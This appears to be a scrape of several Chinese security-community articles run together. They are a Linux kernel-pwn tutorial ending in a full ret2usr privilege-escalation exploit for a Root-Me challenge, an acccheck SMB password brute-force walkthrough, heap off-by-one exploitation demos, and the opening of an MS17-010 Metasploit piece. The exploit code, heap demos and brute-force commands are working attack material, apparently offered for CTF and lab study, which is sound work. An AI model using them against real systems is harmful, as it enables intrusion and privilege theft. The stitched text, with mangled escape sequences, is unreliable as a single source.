模块可以被单独编译， **但不能单独运行** 。它在运行时被链接到内核作为内核的一部分在内核空间运行，这与运行在用户控件的进程不同。
模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。
> Linux 内核之所以提供模块机制，是因为它本身是一个单内核 (monolithic
> kernel)。单内核的优点是效率高，因为所有的内容都集合在一起，但缺点是可扩展性和可维护性相对较差，模块机制就是为了弥补这一缺陷。
**通常情况下，Kernel漏洞的发生也常见于加载的LKMs出现问题。**
### 内核中的模块相关指令
1. **insmod** : 将指定模块加载到内核中。
2. **rmmod** : 从内核中卸载指定模块。
3. **lsmod** : 列出已经加载的模块。
4. **modprobe** : 添加或删除模块，modprobe 在加载模块时会查找依赖关系。
### file_operations 结构体
用户进程在对设备文件进行诸如read/write操作的时候，
**系统调用通过设备文件的主设备号找到相应的设备驱动程序，然后读取这个数据结构相应的函数指针，接着把控制权交给该函数，这是Linux的设备驱动程序工作的基本原理。**
内核模块程序的结构中包括一些call
back回调表，对应的函数存储在一个file_operations(fop)结构体中，这也是相当重要的结构体，结构体中实现了的回调函数就会静态初始化函数地址，而未实现的函数，值为NULL。
例如：
Events | User functions | Kernel functions
---|---|---
Load | insmod | module_init()
Open | fopen | file_operations: open
Close | fread | file_operations: read
Write | fwrite | file_operations: write
Close | fclose | file_operations: release
Remove | rmmod | module_exit()
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void)
{
printk("<1> Hello world!n");
return 0;
}
static void hello_exit(void)
{
printk("<1> Bye, cruel worldn");
}
module_init(hello_init);
module_exit(hello_exit);
struct file_operations module_fops =
{
read: module_read,
write: module_write,
open: module_open,
release: module_release
};
其中，module_init/module_exit是在载入/卸载这个驱动时自动运行；而fop结构体实现了如上四个callback，冒号右侧的函数名是由开发者自己起的，在驱动程序载入内核后，其他用户程序程序就可以借助
**文件方式** 像进行系统调用一样调用这些函数实现所需功能。
## 0x04 环境配置
不同于用户态的pwn，Kernel-Pwn不再是用python远程链接打payload拿shell，而是给你一个环境包，下载后qemu本地起系统。对于一个Kernel-Pwn来说，题目通常会给定以下文件：
boot.sh: 一个用于启动 kernel 的 shell 的脚本，多用 qemu，保护措施与 qemu 不同的启动参数有关
bzImage: kernel binary
rootfs.cpio: 文件系统映像
解释一下 qemu 启动的参数：
* -initrd rootfs.cpio，使用 rootfs.cpio 作为内核启动的文件系统
* -kernel bzImage，使用 bzImage 作为 kernel 映像
* -cpu kvm64,+smep，设置 CPU 的安全选项，这里开启了 smep
* -m 64M，设置虚拟 RAM 为 64M，默认为 128M 其他的选项可以通过 —help 查看。
本地写好 exploit 后，可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下，进而拿到 flag。同时可以使用 musl,
uclibc 等方法减小 exploit 的体积方便传输。
但是为了我们调试Demo方便，我们最好在本地也编译一个bzImage。
⚠️：部分Kernel漏洞只影响低版本，高版本的Kernel已对脆弱的机制进行了一定程度的遏制乃至进行了消除，但是和Glibc相同，部分中低版本的内核仍有很高的用户量，因此我们对于低版本Kernel的漏洞研究并非是没有意义的，同时，在实际调试Demo时，请特别注意Demo漏洞影响的Kernel版本。
⚠️：以下安装步骤仅在`Ubuntu 16.04`完成了测试。
### 下载Linux Kernel源码并解压
`wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.5.6.tar.xz`
### 配置环境
编译kernel需要很多lib，所以请执行以下命令安装相关环境：
`sudo apt-get install bison libncurses* build-essential openssl zlibc minizip
libidn11-dev libidn11 libssl-dev flex ncurses-devel libncurses5-dev`
### Kernel编译配置
运行以下命令进行配置即可
`make menuconfig`
配置结束会在当前目录生成`.config`，若需要之后修改配置，可以直接编辑`.config`后再次编译即可。
### 编译
使用`make`进行编译即可，若需要更快的编译，请使用`make -j8`。
## 0x05 Kernel Stackoverflow
📚：本部分全文翻译自[Exploiting Stack Overflows in the Linux Kernel – Jon
Oberheide](https://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/)的相关内容。
此处将介绍Linux内核中堆栈溢出的利用技术。请注意，这并不是指内核堆栈上的缓冲区溢出，而是内核堆栈的不正确扩展，这导致其可能与损坏的关键结构重叠。
这是Linux内核中的一个漏洞类。
### 内核栈帧(Kernel Stack Layout)
在Linux上，每个系统线程都在内核内存中分配了相应的内核堆栈。 x86上的Linux内核堆栈的大小为4096或8192字节，这具体取决于您的发行版。
尽管此大小似乎小到无法包含完整的调用链和相关的本地堆栈变量，但实际上内核调用链相对较浅，并且在Kernel中不鼓励滥用带有大局部堆栈变量的内核函数来占用宝贵空间，当使用高效的分配器(如SLUB)时，这个大小是完全够用的。
内核堆栈与thread_info结构共享4k / 8k的总大小，该结构包含有关当前线程的一些元数据，如`include/linux/sched.h`中所示：
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};
thread_info结构在x86下有如下定义：(`arch/x86/include/asm/thread_info.h`)
struct thread_info {
struct task_struct *task;
struct exec_domain *exec_domain;
__u32 flags;
__u32 status;
__u32 cpu;
int preempt_count;
mm_segment_t addr_limit;
struct restart_block restart_block;
void __user *sysenter_return;
#ifdef CONFIG_X86_32
unsigned long previous_esp;
__u8 supervisor_stack[0];
#endif
int uaccess_err;
};
内核堆栈在内存中呈现如下所示的结构：
那么，当内核函数需要超过4k / 8k的堆栈空间或使用了长调用链以至于超出可用堆栈空间时，会发生什么呢？
**通常情况下，这会导致堆栈溢出的发生，并且如果thread_info结构或超出更低地址处的关键内存损坏，则会导致内核崩溃。
但是，如果内存对齐并且存在实际可以控制写入堆栈及其以外的数据的情况，则可能存在可利用的条件。**
### Kernel栈溢出攻击
接下来让我们看一看栈溢出和thread_info结构的破坏是如何导致提权的发生的。
static int blah(int __user *vals, int __user count)
{
int i;
int big_array[count];
for (i = 0; i < count; ++count) {
big_array[i] = vals[i];
}
}
在上面的代码中，在内核堆栈上有被分配了一个可变长度的数组(big_array)，其大小基于攻击者控制的`count`。
C99允许使用可变长度数组，并且GCC支持可变长度数组。 GCC将在运行时简单地计算必要的大小，并适当减少堆栈指针，以在堆栈上为数组分配空间。
但是，如果攻击者提供了一个极大的`count`，则堆栈可能向下扩展到`thread_info`的边界之外，从而允许攻击者随后将任意值写入`thread_info`结构。
将堆栈指针扩展到`thread_info`边界之外，如下图所示：
那么thread_info结构中有什么我们可以利用的target呢？在理想情况下，我们希望找到一个函数指针的东西，当我们可以控制一个函数指针时我们事实上就可以劫持程序流程了。
此处我们就要提到thread_info中的一个成员了：restart_block。
restart_block是每个线程的结构，用于跟踪信息和参数以供重新启动系统调用。
如果在sigaction(2)中指定了SA_RESTART，则被信号中断的系统调用可以中止并返回EINTR，也可以自动自行重启。
在`include/linux/thread_info.h`中，restart_block的定义如下:
struct restart_block {
long (*fn)(struct restart_block *);
union {
struct {
...
};
/* For futex_wait and futex_wait_requeue_pi */
struct {
...
} futex;
/* For nanosleep */
struct {
...
} nanosleep;
/* For poll */
struct {
...
} poll;
};
};
我们发现了一个fn的函数指针！假如我们可以控制那个函数指针，那么我们一定可以劫持EIP。那么，这个fn指针会在哪里被调用呢？
事实上，我们可以在`kernel/signal.c`中找到如下代码：
SYSCALL_DEFINE0(restart_syscall)
{
struct restart_block *restart = ¤t_thread_info()->restart_block;
return restart->fn(restart);
}
而`restart_syscal`l在`arch/x86/kernel/syscall_table_32.S`中被定义：
.long sys_restart_syscall /* 0 - old "setup()" system call, used for restarting */
实际上它的系统调用号码为零。 我们可以通过以下方式从用户态中调用其功能：
syscall(SYS_restart_syscall);
这将使内核调用调用在restart_block结构中的函数指针。
**如果我们可以破坏thread_info的restart_block成员中的函数指针，则可以将其指向我们控制下的用户空间中的函数，通过调用sys_restart_syscall触发其执行，并提升特权。**
### Linux 提权思路
之前说过，执行`commit_creds(prepare_kernel_cred(0))`，可以使进程的权限提升为`root`，然后我们返回到用户模式，执行`iret`指令。
#### <a name=”关于`iret`指令” class=”reference-link”>关于`iret`指令
当使用IRET指令返回到相同保护级别的任务时，IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器，并弹出标志寄存器内容到EFLAGS寄存器。
当使用IRET指令返回到一个不同的保护级别时，IRET不仅会从堆栈弹出以上内容，还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
栈上保存了`trap frame`，返回到用户模式的时候，恢复信息从以下得得结构读取：
struct trap_frame
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));
## 0x06 Kernel Null Pointer Dereference
📚：本部分部分翻译自[A Kernel Exploit Step by Step –
akliilias](https://www.coursehero.com/file/49274885/kernel-exploit-step-by-steppdf/)的相关内容。
2009年8月，Tavis Ormandy和Julien Tinnes发现了一个漏洞，该漏洞影响了自2001年以来的所有2.4到2.6Linux内核。
问题的根源是因为以下机制：在Linux操作系统中，虚拟内存分配于内核空间和用户空间之间。
在x86上，每个进程都有一个内存映射，该内存映射分为两部分，用户空间最大为3GB（地址0xC0000000），最后一个GB是为内核保留的。
尽管存在特权分离，但它们都共享相同的地址空间。
### Demo
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
int main(){
uint32_t *mem=NULL;
mem=mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem != NULL) {
fprintf(stdout,"[−] UNABLE TO MAP ZERO PAGE!n");
exit(0);
}
fprintf(stdout, "[+] MAPPED ZERO PAGE!n");
printf("0x%08X: 0x%08X n",(uint32_t)mem, *(uint32_t*)0);
mem[0] = 0xDEADBEAF;
printf("0x%08X: 0x%08X n",(uint32_t)mem, *(uint32_t*)0);
printf("[+] It worked !!n");
munmap(mem,0x1000);
mem[0] = 0xDEADBEAF;
return 0;
}
这个Demo试图使用`mmap`在`NULL`处分配0x1000大小的内存映射，正常情况下，程序应当返回`[−] UNABLE TO MAP ZERO
PAGE!n`。
但是，在某些版本的Kernel上，这个Demo却可以向下运行，进而使我们分配到0地址的映射，那么我们就可以直接在0地址处构建shellcode并执行。
## 0x07 以[Root-Me]LinKern x86 – Buffer overflow basic 1为例
题目给定了`bzImage、ch1.c、initramfs.img、run、run.c`这几个文件
其中`bzImage`为内存映像，那么`initramfs.img`必定为文件系统，解压可以发现加载到内核的模块文件。
事实上，此时我们已经可以通过如下命令：
qemu-system-i386 -kernel bzImage
-s
-append nokaslr
-initrd initramfs.img
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/Buffer_overflow_basic_1/Share
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme
来启动这个Kernel。
**🚫：此处若使用Mac os下的`qemu-system`将会显示`There is no option group
'fsdev'`错误，因此请使用Ubuntu作为调试环境。**
### 分析Init文件
#!/bin/sh
mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
#
# flag
#
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd
#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/
#
# module
#
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/tostring
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr
#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
umount /dev
poweroff -f
程序将位于`/lib/modules/*/rootme/*.ko`的LKMs文件使用`insmod`命令加载到Kernel。
在那之后， **解除了`mmap_min_addr`保护**。
并且可以看出，我们需要读取的flag将位于`/dev/sda`。
### LKMs文件分析
仅开启了LKMs保护，并且题目提示没有开启其余保护，那么我们使用IDA分析该文件。
#### tostring_init()
首先，程序使用`alloc_chrdev_region`函数，来让内核自动给我们分配设备号。
然后程序创建一个设备类，命名为`chrdrv`。
接下来创建设备节点，成功后则开始初始化`cdev`。可以看出，这是一个字符设备，而这个字符设备为我们提供了几个函数。那么我们可以写一个PoC直接调用相关函数。
#### tostring_open()
打印`'6Tostring: open()'`后返回。
#### tostring_read(int a1)
打印`'6Tostring: read()'`后，将传入的值作为参数调用`0x8000984`。
#### tostring_read_dec(size_t maxlen, char *s)
打印`'6Tostring: read_dec()'`后，若`tostring`的值大于零，将`[0x8000784 + 2 * (tostring -1)]`使用`snprintf`按`"%lldn"`格式化后打印最多`maxlen`个字节到传入的参数`s`中并返回，在那之后，`tostring-1`。
#### tostring_read_hexa(size_t maxlen, char *s)
与`tostring_read_dec(size_t maxlen, char *s)`类似，只不过，这次程序将打印信息换为了`6Tostring:
read_hexa()`，格式化控制符换为了`"%16llxn"`。
#### tostring_write(int a1, int a2)
打印`'6Tostring:
write()'`后，程序将分配一个Chunk，然后将a2的前a1个字节读入Chunk，同时，我们输入的数据若以`MH`或`MD`开头，将改变`0x8000984`处的值到底是`tostring_read_dec`亦或是`tostring_read_hexa`。若输入的数据不以`MH`或`MD`开头，程序将Chunk的地址置于`0x8000784
+ 2 * tostring`处。随后，`tostring + 1`。
#### echo测试
我们使用`echo "1111" > /dev/tostring`来测试设备是否挂载正常
发现程序正常的调用了我们分析的函数链。
### 动态调试
对于内核的调试，我们首先需要知道我们的LKMs被加载到了程序的哪个位置，也就是需要知道其`.text、.bss、.data`节区地址。
对于这些地址，它们通常会被保存到系统的`/sys/module/[模块名]`目录下。
⚠️：此处注意，我们加载到内核的模块名不一定是模块文件的名字，可以使用`lsmod`命令查看。
接下来我们来查看节区地址：
接下来我们可以使用`add-symbol-file`这个gdb命令向gdb指定这三个地址。
然后就可以附加调试了，我们将断点下在write函数的入口处。
成功下断。
### LKMs漏洞分析
可以看到，程序在读入我们发送的值时，没有做长度限定，那么，我们事实上可以读入任意长字节。
而程序的`0x08000984`处存储了我们read时即将调用的指针，那么我们完全可以覆盖掉那个指针为我们想要其为的值。
控制其的PoC为：
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
char Padding[9] = "AAAAAAAA";
char Eip[5] ;
int fd = open("/dev/tostring",O_WRONLY);
for(int i = 0;i < 0x40; i++)
write(fd,Padding,sizeof(Padding));
write(fd,Eip,sizeof(Eip));
return 0;
}
可以发现，我们的确可以控制那个函数指针。
我们可以通过查看`/proc/kallsyms`来定位提权用函数的地址。
我们可以构造如下所示的`Exploit`:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char Padding[9] = "AAAAAAAA";
char Eip[5] ;
init_tf_work();
int fd = open("/dev/tostring",2);
for(int i = 0;i < 0x40; i++)
write(fd,Padding,sizeof(Padding));
write(1,Eip,sizeof(Eip));
*((void**)(Eip)) = &payload;
write(fd,Eip,sizeof(Eip));
return 0;
}
可以发现，核心利用代码已被注入，接下来只要调用read函数将会调用我们的利用逻辑。
### Final Exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char Padding[9] = "AAAAAAAA";
char Eip[5];
init_tf_work();
int fd = open("/dev/tostring",2);
for(int i = 0;i < 0x40; i++)
write(fd,Padding,sizeof(Padding));
write(1,"OK!n",sizeof(Eip));
*((void**)(Eip)) = &payload;
write(fd,Eip,sizeof(Eip));
read(fd,receive,255);
return 0;
}
## 0x08 参考链接
[CTF-Wiki Linux Kernel](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel)
[Exploiting Stack Overflows in the Linux Kernel – Jon
Oberheide](https://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/)
[A Kernel Exploit Step by Step –
akliilias](https://www.coursehero.com/file/49274885/kernel-exploit-step-by-steppdf/)
[kernel pwn（0）：入门&ret2usr – Magpie](https://www.anquanke.com/post/id/172216)
[Linux-内核编译 –
咲夜南梦](https://196011564.github.io/2020/02/26/Linux-%E5%86%85%E6%A0%B8%E7%BC%96%E8%AF%91/#%E6%89%A7%E8%A1%8C%E4%BB%A5%E4%B8%8B%E5%91%BD%E4%BB%A4%E4%B8%8B%E8%BD%BDkernel%E6%BA%90%E7%A0%81) | 社区文章 |
## 0x00. acccheck简介
###
acccheck是用于探测远程目标主机是否开放smb服务,并尝试连接目标默认IPC$、ADMIN$共享,并通过字典文件尝试破解smb服务的账号密码。
### 0x01. 用法简介
### 基础语法：
### acccheck -t 192.168.1.105 -u root -p root -v
### 参数：
### -t 指定一个IP地址
### -T 指定一个IP地址文件
### -u 指定账号
### -U 指定账号字典
### -p 指定密码
### -P 指定密码字典
### -v 显示详细信息
* * *
## 0x02. 攻击实战
### 环境准备：
### 1\. kali 虚拟机
### 2\. win7 虚拟机 IP=192.168.1.105
### 3\. Mac 主机
### 实战演示：
### 1\. 准备一个账号user.txt，密码字典comment.txt，并尝试破解win 7的SMB的账号密码
> acccheck -t 192.168.1.105 -U user.txt -P common.txt -v
### 2\. 如果成功破解账号、密码则会生成一个crack.txt文件
> cat crack.txt
### 3\. 有了账号、密码可以就可以用Mac直接连接win 7的共享SMB服务
> open smb://192.168.1.105
### 4\. 连接成功之后，我们创建一个apple文件夹试试
### 5\. 尝试远程桌面和SMB是否用的同一个账号密码，这里成功登陆
> rdesktop 192.168.1.105 | 社区文章 |
# 【技术分享】从一字节溢出到任意代码执行-Linux下堆漏洞利用
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **Ox9A82**
****](http://bobao.360.cn/member/contribute?uid=2676915949)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**
**
一个字节溢出被称为off-by-one，曾经的一段时间里，off-by-one被认为是不可以利用的，但是后来研究发现在堆上哪怕只有一个字节的溢出也会导致任意代码的执行。同时堆的off-by-one利用也出现在国内外的各类CTF竞赛中，但是在网络上还不能找到一篇系统的介绍堆off-by-one利用的教程。在这篇文章中我列出了5种常见的堆上的off-by-one攻击方式，并且给出了测试DEMO，测试的环境均为x86。
**0x01 背景知识**
网络上关于Linux下堆管理机制的文章已经有很多了，这里不再详细的描述堆管理机制的细节，仅简单的列出一些要理解文章内容必须要掌握的基础知识点。
首先，目前的Linux使用的是基于ptmalloc的堆管理器。在ptmalloc中堆块被分为以下四种类型
**1.fastbin**
fastbin的范围处于16～64byte，使用单向链表来维护。每次从fastbin中分配堆块时，都会从尾部取出。fastbin块的inuse位永远是置于1的，并且享有最高的优先权，在分配和释放时总会最先考虑fastbin。
**2.unsort bin**
unsort
bin在bins[]中仅占有一个位置，除了fastbin外的其他块被释放后都会进入到这里来作为一个缓冲，每当进行malloc时会把堆块从unsort
bin中取出并放到对于的bins[]中。
**3.small bin**
small bin是指大于16byte且小于512byte的堆块，使用双向链表链接，不会有两个相邻的空的small
bin块，因为一旦出现这种情况，相邻的块就会被合并成一个块。通常是在调用free函数时触发这一过程。需要注意的是在相邻空块合并时会调用unlink()宏来进行取下操作，但是调用malloc()时的取下操作却没有使用unlink宏。
**4.large bin**
超出large bin范围的即为large bin，large
bin相比其他块而言具有一条额外的由fd_nextsize和bk_nextsize域组成的链表结构。
如图所示，其中size域低三位作为标志位，我们最需要记住的就是inuse位，这个位确定了前一个块是否处于使用状态。
是的，在ptmalloc中一个块是否使用是由下一个块进行记录的。
**
**
**0x02 off-by-one的分类**
off-by-one总共可以分为两种利用方式
**chunk overlapping**
off-by-one overwrite allocated
off-by-one overwrite freed
off-by-one null byte
**unlink**
off-by-one small bin
off-by-one large bin
这种划分的依据是基于利用的思路不同。
第一种的利用的核心思路主要是为了进行chunk overlapping,而第二种的利用思路则是想要触发unlink。
**0x03 达成漏洞利用的条件**
off-by-one并不是全都可以达到利用的目的的。首先就要求堆必须以要求的size+0x4字节（x86）的大小进行分配。如果不满足这个条件那么就无法覆盖到inuse位了。这个是由于堆的字节对齐机制造成的，简单的说堆块是以8字节进行对齐的（x64为16字节）。如果malloc(1024)，那么实际会分配1024+8=1032字节，这一点很好理解。但是如果是malloc(1020)呢，1020+8=1028字节，而1028不满足8字节对齐，那么实际只会分配1020+4=1024字节，多出的4个字节由下一块的prev_size提供空间。
而对于触发unlink的操作来说，还需要一个额外的附加条件。因为现在的unlink是有检验的，所以需要一个指向堆上的指针才可以。
**0x04 漏洞利用的效果**
off-by-one能达到什么利用效果呢？这个是很关键的问题。根据分类来看可以实现两种效果
**1.chunk overlapping**
所谓的chunk
overlapping是指，针对一个目标堆块。我们可以通过一些操作，使这个目标堆块被我们重新分配到某个我们控制的新的堆块中，这样就可以对目标堆块进行任意的读写了。
**2.unlink**
这种off-by-one造成的unlink的利用效果其实和溢出造成的unlink的利用效果是一致的。对于small
bin可以使指向堆的指针ptr的值变为&ptr-0xc，这样再结合一系列的操作就可以达成几乎无限次的write-anything-anywhere了。
而large bin的unlink则可以实现一次任意地址写（write-anything-anywhere）。
**0x05 漏洞利用的原理**
chunk overlapping的原理在于ptmalloc的堆块验证机制的不完善，通过一些ptmalloc定义的宏就可以看出这一点。
inuse()：仅通过下一块的inuse位来判定当前块是否使用.
prev_chunk()：如果前一个块为空，那么进行空块合并时，仅使用本块的prev_size来寻找前块的头。
next_chunk()：仅通过本块头+本块大小的方式来寻找下一块的头
chunksize()：仅通过本块的size确定本块的大小。
unlink的原理在于unlink宏在处理时会互写数据造成任意地址写。经过改进后的unlink宏增加了check，但是可以通过一个指向堆上的指针导致绕过情况。
**0x06 达成漏洞利用的具体操作**
**off-by-one overwrite allocated**
在这种情况下堆块布局是这样的
A是发生有off-by-one的堆块，其中B和C是allocated状态的块。而且C是我们的攻击目标块。
我们的目标是能够读写块C，那么就应该去构造出这样的内存布局。然后通过off-by-one去改写块B的size域（注意要保证inuse域的值为1，否则会触发unlink导致crash）以实现把C块给整个包含进来。通过把B给free掉，然后再allocated一个大于B+C的块就可以返回B的地址，并且可以读写块C了。
具体的操作是：
1\. 构成图示的内存布局
2\. off-by-one改写B块的size域(增加大小以包含C，inuse位保持1)
3\. free掉B块
4\. malloc一个B+C大小的块
5\. 通过返回的地址即可对C任意读写
注意，必须要把C块整个包含进来，否则free时会触发check，导致抛出错误。因为ptmalloc实现时的验证逻辑是当前块的下一块的inuse必须为1，否则在free时会触发异常，这一点本来是为了防止块被double
free而做的限制，却给我们伪造堆块造成了障碍。
**off-by-one overwrite freed**
在这种情况下堆块布局依然是这样的
A是发生有off-by-one的堆块，其中B是free状态的块,C是allocated块。而且C是我们的攻击目标块。
我们的目标是能够读写块C，那么就应该去构造出这样的内存布局。然后通过off-by-one去改写块B的size域（注意要保证inuse域的值为1）以实现把C块给整个包含进来。但是这种情况下的B是free状态的,通过增大B块包含C块，然后再allocated一个B+C尺寸的堆块就可以返回B的地址，并且可以读写块C了。
具体的操作是：
1\. 构成图示的内存布局
2\. off-by-one改写B块的size域(增加大小以包含C，inuse位保持1)
3\. malloc一个B+C大小的块
4\. 通过返回的地址即可对C任意读写
**off-by-one null byte**
这种情况就与上面两种有所不同了，在这种情况下溢出的这个字节是一个'x00'字节。这种off-by-one可能是最为常见的，因为诸如:
buf=malloc(124);
if(strlen(str)==124)
{
strcpy(buf,str);
}
就会产生这种null byte off-by-one，即拷贝一个字符串到一个同样长的缓冲区时，并未考虑到NULL字节。
相比于前两种，这种利用方式就显得更复杂，而且对内存布局的要求也更高了。
首先内存布局需要三个块
其中A,B,C都是allocated块，A块发生了null byte off-by-one,覆盖了B块的inuse位，使B块伪造为空。然后在分配两个稍小的块b1、b2，根据ptmalloc的实现，这两个较小块（不能是fastbin）会分配在B块中。然后只要释放掉b1，再释放掉C，就会引发从原B块到C的合并。那么只要重新分配原B大小的chunk，就会重新得到b2。在这个例子中，b2是我们要进行读写的目标堆块。最后的堆块布局如下所示：
布局堆块结构如ABC所示
1\. off-by-one覆盖B，目的是覆盖掉B的inuse位
2\. free B
3\. malloc b1,malloc b2
4\. free C
5\. free b1
6\. malloc B
7\. overlapping b2
这种利用方式成功的原因有两点:
通过prev_chunk()宏查找前块时没有对size域进行验证
当B块的size域被伪造后，下一块的pre_size域无法得到更新。
**off-by-one small bin**
这种方法是要触发unlink宏，因此需要一个指向堆上的指针来绕过fd和bk链表的check。
需要在A块上构造一个伪堆结构，然后覆盖B的pre_size域和inuse域。这样当我们free
B时，就会触发unlink宏导致指向堆上的指针ptr的值被改成&ptr-0xC(x64下为&ptr-0x18)。通过这个特点，我们可以覆写ptr指针，如果条件允许的话，几乎可以造成无限次的write-anything-anywhere。
1\. 在A块中构造伪small bin结构，并且修改B块的prev_size域和inuse域。
2\. free B块
3\. ptr指针被改为&ptr-0xC
**off-by-one large bin**
large bin通过unlink造成write-anything-anywhere的利用方法最早出现于Google的Project
Zero项目的一篇文章中，具体链接是
<https://googleprojectzero.blogspot.fr/2014/08/the-poisoned-nul-byte-2014-edition.html>
在这篇文章中，提出了large
bin检验仅仅是通过assert断言的形式来进行的，并不能真正的对漏洞进行有效的防护。但是经过我的测试发现，目前版本的ubuntu和CentOS已经均具备有检测large
unlink的能力，如果发现存在指针被篡改的情况，则会抛出“corrupted double-linked list(not
small)”的错误，之后翻阅了一下glibc中ptmalloc部分的实现代码却并没有发现有检测这部分的代码，猜测大概是后续版本中加入的。因为这种利用方式的意义已经不是很大，这里就不在详细列出步骤也不提供测试DEMO了。
**
**
**0x07 测试DEMO**
**1.off-by-one overwrite allocated**
int main(void)
{
char buf[253]="";
void *A,*B,*C;
void *Overlapped;
A=malloc(252);
B=malloc(252);
C=malloc(128);
memset(buf,'a',252);
buf[252]='x89'; //把C块包含进来
memcpy(A,buf,253);//A存在off-by-one漏洞
free(B);
Overlapped=malloc(500);
}
这段代码演示了通过off-by-one对C块实施了overlapping。通过返回的变量Overlapped就可以对C块进行任意的读写了。
**2.off-by-one overwrite freed**
int main(void)
{
char buf[253]="";
void *A,*B,*C;
void *Overlapped;
A=malloc(252);
B=malloc(252);
C=malloc(128);
free(B);
memset(buf,'a',252);
buf[252]='x89';
memcpy(A,buf,253);//A存在off-by-one漏洞
Overlapped=malloc(380);
}
这个DEMO与上面的类似，同样可以overlapping后面的块C，导致可以对C进行任意读写。
**3.off-by-one null byte**
int main(void)
{
void *A,*B,*C;
void *B1,*B2;
void *Overlapping;
A=malloc(0x100);
B=malloc(0x208);
C=malloc(0x100);
free(B);
((char *)A)[0x104]='x00';
B1=malloc(0x100);
B2=malloc(0x80);
free(B1);
free(C);
malloc(0x200);
}
可以成功的对B2进行任意读写。
**4.off-by-one small bin**
void *ptr;
int main(void)
{
int prev_size,size,fd,bk;
void *p1,*p2;
char buf[253]="";
p1=malloc(252);
p2=malloc(252);
ptr=p1;
prev_size=0;
size=249;
fd=(int)(&ptr)-0xC;
bk=(int)(&ptr)-0x8;
memset(buf,'c',253);
memcpy(buf,&prev_size,4);
memcpy(buf+4,&size,4);
memcpy(buf+8,&fd,4);
memcpy(buf+12,&bk,4);
size=248;
memcpy(&buf[248],&size,4);
buf[252]='x00';
memcpy(p1,buf,253);
free(p2);
}
这个DEMO中使用了一个指向堆上的指针ptr，ptr是全局变量处于bss段上。通过重复写ptr值即可实现write-anything-anywhere。
**
**
**0x08 后记**
这是本人第一次投稿原创文章，之前只是写写博客。文笔不好，错误也在所难免，希望大家包容下。
参考文档：
[CTF中的内存漏洞利用技巧 -清华大学网络与信息安全实验室 ](http://netsec.ccert.edu.cn/wp-content/uploads/2015/10/2015-1029-yangkun-Gold-Mining-CTF.pdf)
[Google Project Zero Blog](https://googleprojectzero.blogspot.com/)
[glibc_malloc from github ](https://github.com/lattera/glibc)
[Glibc Adventures: The Forgotten Chunks
](https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf) | 社区文章 |
> Author：publicmonkey@5ecurity.cn
# 那些年，我们一起追过的“蓝”
目前MSF下利用ms17-010主要有以下三个模块：
1.`exploit/windows/smb/enternalblue_doublepulsar`
下载地址：<https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit>
